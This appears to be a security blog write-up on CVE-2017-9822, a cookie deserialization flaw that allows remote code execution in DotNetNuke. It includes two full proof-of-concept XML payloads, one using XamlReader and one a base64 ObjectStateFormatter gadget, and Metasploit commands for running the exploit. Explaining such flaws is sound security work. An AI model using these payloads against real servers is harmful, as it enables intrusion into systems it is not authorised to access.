DotNetNuke Cookie Deserialization

https://github.com/dnnsoftware/Dnn.Platform
https://github.com/dnnsoftware/Dnn.Platform/releases/tag/v9.1.0
CVE-2017-9822

What is DotNetNuke?

DotNetNuke is a free and open-source web CMS (content management system) written in C# and based on the .NET framework.

Vulnerability overview

What is deserialization and what’s wrong with it?

Deserialization is the process of interpreting streams of bytes and transforming them into data that can be executed by an application.

The main problem with deserialization is that most of the time it can take user input. This means you can inject maliciously crafted payloads in the requested format of the application and possibly manipulate its logic, disclose data, or even execute remote code.

DotNetNuke uses the DNNPersonalization cookie to store anonymous users’ personalization options (the options for authenticated users are stored through their profile pages). This cookie is used when the application serves a custom 404 Error page, which is also the default setting.

You can start by analyzing the vulnerable source code of how the application processes the DNNPersonalization cookie XML value.

The program looks for the key and type attributes of the item XML node. Based on the extracted type, it creates a serializer using XmlSerializer. Because the XML cookie value can be user-supplied through the request headers, you can control the type of the XmlSerializer.

A big constraint of XmlSerializer is that it doesn’t work with types that have interface members (example: System.Diagnostic.Process). Instead, you can use ObjectDataProvider and build the payload using a method belonging to one of the following classes:

XamlReader, which can result in Remote Code Execution. You can see an example payload below, using the Parse method to open the calculator on the remote target.
- https://learn.microsoft.com/en-us/dotnet/api/system.windows.markup.xamlreader.parse?view=windowsdesktop-9.0

<profile>
    <item key="pentest-tools.com" type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectStateFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
    <ExpandedWrapperOfXamlReaderObjectDataProvider>
    <ExpandedElement/>
    <MethodName>Parse</MethodName>
    <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">
        <ResourceDictionary xmlns='http://schemas.microsoft.com/winfx/2006/xaml/presentation' xmlns:x='http://schemas.microsoft.com/winfx/2006/xaml' xmlns:System='clr-namespace:System;assembly=mscorlib' xmlns:Diag='clr-namespace:System.Diagnostics;assembly=system'>
            <ObjectDataProvider x:Key='LaunchCmd' ObjectType='{x:Type Diag:Process}' MethodName='Start'>
                <ObjectDataProvider.MethodParameters>
                    <System:String>cmd</System:String>
                    <System:String>/c calc</System:String>
                </ObjectDataProvider.MethodParameters>
            </ObjectDataProvider>
        </ResourceDictionary>
    </anyType>
</MethodParameters>
<ObjectInstance xsi:type="XamlReader"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfXamlReaderObjectDataProvider>
</item>
</profile>

ObjectStateFormatter, which can also result in Remote Code Execution. You can see an example payload below, using the Deserialize method to open the calculator on the remote target.
- https://learn.microsoft.com/en-us/dotnet/api/system.web.ui.objectstateformatter.deserialize?view=netframework-4.8.1#system-web-ui-objectstateformatter-deserialize(system-string)

<profile>
    <item key="pentest-tools.com" type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectStateFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
        <ExpandedWrapperOfObjectStateFormatterObjectDataProvider xmlns:xsd=" [http://www.w3.org/2001/XMLSchema](http://www.w3.org/2001/XMLSchema) " xmlns:xsi=" [http://www.w3.org/2001/XMLSchema-instance](http://www.w3.org/2001/XMLSchema-instance) ">
        <ExpandedElement/>
        <ProjectedProperty0>
        <MethodName>Deserialize</MethodName>
        <MethodParameters>
            <anyType xsi:type="xsd:string">/wEy3hgAAQAAAP////8BAAAAAAAAAAwCAAAAX1N5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24sIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAAAlU3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5QU09iamVjdAEAAAAGQ2xpWG1sAQIAAAAGAwAAAKUXPE9ianMgVmVyc2lvbj0iMS4xLjAuMSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vcG93ZXJzaGVsbC8yMDA0LzA0Ij4NCiAgJiN4RDsNCiAgPE9iaiBSZWZJZD0iMCI+DQogICAgJiN4RDsNCiAgICA8VE4gUmVmSWQ9IjAiPg0KICAgICAgJiN4RDsNCiAgICAgIDxUPk1pY3Jvc29mdC5NYW5hZ2VtZW50LkluZnJhc3RydWN0dXJlLkNpbUluc3RhbmNlI1N5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24vUnVuc3BhY2VJbnZva2U1PC9UPiYjeEQ7DQogICAgICA8VD5NaWNyb3NvZnQuTWFuYWdlbWVudC5JbmZyYXN0cnVjdHVyZS5DaW1JbnN0YW5jZSNSdW5zcGFjZUludm9rZTU8L1Q+JiN4RDsNCiAgICAgIDxUPk1pY3Jvc29mdC5NYW5hZ2VtZW50LkluZnJhc3RydWN0dXJlLkNpbUluc3RhbmNlPC9UPiYjeEQ7DQogICAgICA8VD5TeXN0ZW0uT2JqZWN0PC9UPiYjeEQ7DQogICAgPC9UTj4mI3hEOw0KICAgIDxUb1N0cmluZz5SdW5zcGFjZUludm9rZTU8L1RvU3RyaW5nPiYjeEQ7DQogICAgPE9iaiBSZWZJZD0iMSI+DQogICAgICAmI3hEOw0KICAgICAgPFROUmVmIFJlZklkPSIwIiAvPiYjeEQ7DQogICAgICA8VG9TdHJpbmc+UnVuc3BhY2VJbnZva2U1PC9Ub1N0cmluZz4mI3hEOw0KICAgICAgPFByb3BzPg0KICAgICAgICAmI3hEOw0KICAgICAgICA8TmlsIE49IlBTQ29tcHV0ZXJOYW1lIiAvPiYjeEQ7DQogICAgICAgIDxPYmogTj0idGVzdDEiIFJlZklkPSIyMCI+DQogICAgICAgICAgJiN4RDsNCiAgICAgICAgICA8VE4gUmVmSWQ9IjEiPg0KICAgICAgICAgICAgJiN4RDsNCiAgICAgICAgICAgIDxUPlN5c3RlbS5XaW5kb3dzLk1hcmt1cC5YYW1sUmVhZGVyW10sIFByZXNlbnRhdGlvbkZyYW1ld29yaywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzU8L1Q+JiN4RDsNCiAgICAgICAgICAgIDxUPlN5c3RlbS5BcnJheTwvVD4mI3hEOw0KICAgICAgICAgICAgPFQ+U3lzdGVtLk9iamVjdDwvVD4mI3hEOw0KICAgICAgICAgIDwvVE4+JiN4RDsNCiAgICAgICAgICA8TFNUPg0KICAgICAgICAgICAgJiN4RDsNCiAgICAgICAgICAgIDxTIE49Ikhhc2giPg0KICAgICAgICAgICAgICAmbHQ7UmVzb3VyY2VEaWN0aW9uYXJ5DQogICAgICAgICAgICAgIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iDQogICAgICAgICAgICAgIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIg0KICAgICAgICAgICAgICB4bWxuczpTeXN0ZW09ImNsci1uYW1lc3BhY2U6U3lzdGVtO2Fzc2VtYmx5PW1zY29ybGliIg0KICAgICAgICAgICAgICB4bWxuczpEaWFnPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1zeXN0ZW0iJmd0Ow0KICAgICAgICAgICAgICAmbHQ7T2JqZWN0RGF0YVByb3ZpZGVyIHg6S2V5PSJMYXVuY2hDYWxjIiBPYmplY3RUeXBlPSJ7eDpUeXBlIERpYWc6UHJvY2Vzc30iIE1ldGhvZE5hbWU9IlN0YXJ0IiZndDsNCiAgICAgICAgICAgICAgJmx0O09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzJmd0Ow0KICAgICAgICAgICAgICAmbHQ7U3lzdGVtOlN0cmluZyZndDtjbWQmbHQ7L1N5c3RlbTpTdHJpbmcmZ3Q7DQogICAgICAgICAgICAgICZsdDtTeXN0ZW06U3RyaW5nJmd0Oy9jICJjYWxjIiZsdDsvU3lzdGVtOlN0cmluZyZndDsNCiAgICAgICAgICAgICAgJmx0Oy9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycyZndDsNCiAgICAgICAgICAgICAgJmx0Oy9PYmplY3REYXRhUHJvdmlkZXImZ3Q7DQogICAgICAgICAgICAgICZsdDsvUmVzb3VyY2VEaWN0aW9uYXJ5Jmd0Ow0KICAgICAgICAgICAgPC9TPiYjeEQ7DQogICAgICAgICAgPC9MU1Q+JiN4RDsNCiAgICAgICAgPC9PYmo+JiN4RDsNCiAgICAgIDwvUHJvcHM+JiN4RDsNCiAgICAgIDxNUz4NCiAgICAgICAgJiN4RDsNCiAgICAgICAgPE9iaiBOPSJfX0NsYXNzTWV0YWRhdGEiIFJlZklkPSIyIj4NCiAgICAgICAgICAmI3hEOw0KICAgICAgICAgIDxUTiBSZWZJZD0iMSI+DQogICAgICAgICAgICAmI3hEOw0KICAgICAgICAgICAgPFQ+U3lzdGVtLkNvbGxlY3Rpb25zLkFycmF5TGlzdDwvVD4mI3hEOw0KICAgICAgICAgICAgPFQ+U3lzdGVtLk9iamVjdDwvVD4mI3hEOw0KICAgICAgICAgIDwvVE4+JiN4RDsNCiAgICAgICAgICA8TFNUPg0KICAgICAgICAgICAgJiN4RDsNCiAgICAgICAgICAgIDxPYmogUmVmSWQ9IjMiPg0KICAgICAgICAgICAgICAmI3hEOw0KICAgICAgICAgICAgICA8TVM+DQogICAgICAgICAgICAgICAgJiN4RDsNCiAgICAgICAgICAgICAgICA8UyBOPSJDbGFzc05hbWUiPlJ1bnNwYWNlSW52b2tlNTwvUz4mI3hEOw0KICAgICAgICAgICAgICAgIDxTIE49Ik5hbWVzcGFjZSI+U3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbjwvUz4mI3hEOw0KICAgICAgICAgICAgICAgIDxOaWwgTj0iU2VydmVyTmFtZSIgLz4mI3hEOw0KICAgICAgICAgICAgICAgIDxJMzIgTj0iSGFzaCI+NDYwOTI5MTkyPC9JMzI+JiN4RDsNCiAgICAgICAgICAgICAgICA8UyBOPSJNaVhtbCI+Jmx0O0NMQVNTIE5BTUU9IlJ1bnNwYWNlSW52b2tlNSImZ3Q7Jmx0O1BST1BFUlRZIE5BTUU9InRlc3QxIiBUWVBFPSJzdHJpbmciJmd0OyZsdDsvUFJPUEVSVFkmZ3Q7Jmx0Oy9DTEFTUyZndDs8L1M+JiN4RDsNCiAgICAgICAgICAgICAgPC9NUz4mI3hEOw0KICAgICAgICAgICAgPC9PYmo+JiN4RDsNCiAgICAgICAgICA8L0xTVD4mI3hEOw0KICAgICAgICA8L09iaj4mI3hEOw0KICAgICAgPC9NUz4mI3hEOw0KICAgIDwvT2JqPiYjeEQ7DQogICAgPE1TPg0KICAgICAgJiN4RDsNCiAgICAgIDxSZWYgTj0iX19DbGFzc01ldGFkYXRhIiBSZWZJZD0iMiIgLz4mI3hEOw0KICAgIDwvTVM+JiN4RDsNCiAgPC9PYmo+JiN4RDsNCjwvT2Jqcz4L</anyType>
        </MethodParameters>
        <ObjectInstance xsi:type="ObjectStateFormatter"></ObjectInstance>
    </ProjectedProperty0>
</ExpandedWrapperOfObjectStateFormatterObjectDataProvider>
</item>
</profile>

CVE-2017-9822: Remote Code Execution in DotNetNuke before 9.1.1

Affects DotNetNuke versions 5.0.0 to 9.1.0. The exploitation is straightforward by passing the malicious payload through the DNNPersonalization cookie within a 404 error page.

The application will parse the XML input, deserialize, and execute it. You don’t have to bypass any patching mechanism.

If you want to exploit DotNetNuke Cookie Deserialization through the Metasploit module (which is available through Exploit-DB), you only have to set the target host, target port, and a specific payload, as follows:

msfconsole
msf5 > use exploit/windows/http/dnncookiedeserialization_rce
msf5 exploit(windows/http/dnncookiedeserialization_rce) > set RHOSTS <TARGET>
msf5 exploit(windows/http/dnncookiedeserialization_rce) > set RPORT <TARGET PORT>
msf5 exploit(windows/http/dnncookiedeserialization_rce) > set payload <PAYLOAD>
msf5 exploit(windows/http/dnncookiedeserialization_rce) > set TARGETURI <404 ERROR PAGE>
msf5 exploit(windows/http/dnncookiedeserialization_rce) > set TARGET 1
msf5 exploit(windows/http/dnncookiedeserialization_rce) > check

More

https://pentest-tools.com/blog/exploit-dotnetnuke-cookie-deserialization